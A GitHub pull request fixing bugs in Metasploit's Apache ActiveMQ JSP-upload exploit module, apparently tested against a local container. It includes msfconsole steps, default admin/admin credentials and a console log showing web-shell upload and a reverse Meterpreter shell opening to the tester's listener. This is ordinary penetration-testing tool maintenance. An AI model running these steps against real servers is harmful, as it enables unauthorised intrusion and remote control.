Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update apache_activemq_upload_jsp.rb to fix missing checks and add missing slashes to some requests #15337

Merged
merged 2 commits into from
Jun 14, 2021

Conversation

0xShoreditch
Copy link
Contributor

@0xShoreditch 0xShoreditch commented Jun 13, 2021

Fixes #15338

Tell us what this change does. If you're fixing a bug, please mention
the github issue number.
The issue number is in relation to #15338. Corrected a minor error where the URI and filesystem path were not separated.

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • use exploit/multi/http/apache_activemq_upload_jsp
  • Set the required parameters
  • Run - should be successful on a vulnerable target, and the path should print correctly as shown: http://host:port/C:\apache-activemq-5.11.1\bin\win64\..\../webapps/api/TUybAWNAXX.jar where host is rhost, and port is rport.

image

Corrected a minor error where the URI and filesystem path were not separated.
@gwillcox-r7 gwillcox-r7 self-assigned this Jun 14, 2021
@gwillcox-r7
Copy link
Contributor

Going to push some updates which should fix this issue and some others I found during testing. Here is the output after those changes were made:

msf6 exploit(multi/http/apache_activemq_upload_jsp) > show options

Module options (exploit/multi/http/apache_activemq_upload_jsp):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   AutoCleanup    true             no        Remove web shells after callback is received
   BasicAuthPass  admin            yes       The password for the specified username
   BasicAuthUser  admin            yes       The username to authenticate as
   JSP                             no        JSP name to use, excluding the .jsp extension (default: random)
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS         127.0.0.1        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT          8161             yes       The target port (TCP)
   SSL            false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                           no        HTTP server virtual host


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.18.0.1       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Java Universal


msf6 exploit(multi/http/apache_activemq_upload_jsp) > exploit

[*] Started reverse TCP handler on 172.18.0.1:4444 
[*] Uploading http://127.0.0.1:8161//opt/activemq/webapps/api//mNhqqxqibzBbGvw.jar
[*] Uploading http://127.0.0.1:8161//opt/activemq/webapps/api//mNhqqxqibzBbGvw.jsp
[*] Sending stage (58082 bytes) to 172.18.0.2
[+] Deleted /opt/activemq/webapps/api//mNhqqxqibzBbGvw.jar
[+] Deleted /opt/activemq/webapps/api//mNhqqxqibzBbGvw.jsp
[*] Meterpreter session 2 opened (172.18.0.1:4444 -> 172.18.0.2:52620) at 2021-06-14 14:55:52 -0500

meterpreter > 

… of the code where the exploit might fail if a custom path is supplied, and also improve the error handling in the code overall
@gwillcox-r7 gwillcox-r7 changed the title Update apache_activemq_upload_jsp.rb Update apache_activemq_upload_jsp.rb to fix missing checks and add missing slashes to some requests Jun 14, 2021
@gwillcox-r7 gwillcox-r7 added bug rn-fix release notes fix labels Jun 14, 2021
@gwillcox-r7 gwillcox-r7 dismissed their stale review June 14, 2021 20:27

Uploaded newer changes with fix included.

@gwillcox-r7 gwillcox-r7 merged commit 537a776 into rapid7:master Jun 14, 2021
@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Jun 14, 2021

Release Notes

A bug has been fixed in apache_activemq_upload_jsp.rb whereby the URI and filesystem path were not separated appropriately. Additionally, extra checks were added to handle error conditions that may arise during module operation.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug rn-fix release notes fix
Projects
None yet
Development

Successfully merging this pull request may close these issues.

exploit/multi/http/apache_activemq_upload_jsp - minor code error
2 participants